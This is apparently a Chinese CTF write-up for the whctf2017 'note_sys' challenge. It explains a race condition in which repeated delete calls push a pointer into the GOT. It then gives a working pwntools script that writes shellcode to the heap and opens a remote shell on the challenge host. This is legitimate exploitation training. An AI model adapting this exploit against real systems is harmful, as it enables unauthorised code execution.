whctf2017_note_sys(多線程條件競爭漏洞)
首先,檢查一下程序的保護機制
然後,我們用IDA分析一下,delete功能另啓了一個線程
函數裏休眠了2s,在休眠之前,end_ptr減去了8
在add函數裏,取end_ptr,然後往其指向的地方寫一個堆地址。
由此,我們可以多次調用delete,每次end_ptr都會減去8並且休眠2s再做判斷,這就存在條件競爭,我們可以在判斷之前讓end_ptr指向got表,然後add的時候就能往got表裏寫一個堆地址,我們在堆里布下shellcode即可。
#coding:utf8
from pwn import *
#sh = process('./note_sys')
sh = remote('node3.buuoj.cn',29522)
context(os='linux',arch='amd64')
def add(content):
sh.sendlineafter('choice:','0')
sh.sendlineafter('input your note, no more than 250 characters',content)
def delete():
sh.sendlineafter('choice:','2')
#條件競爭
for i in range(20):
delete()
add(asm(shellcraft.sh()))
sh.interactive()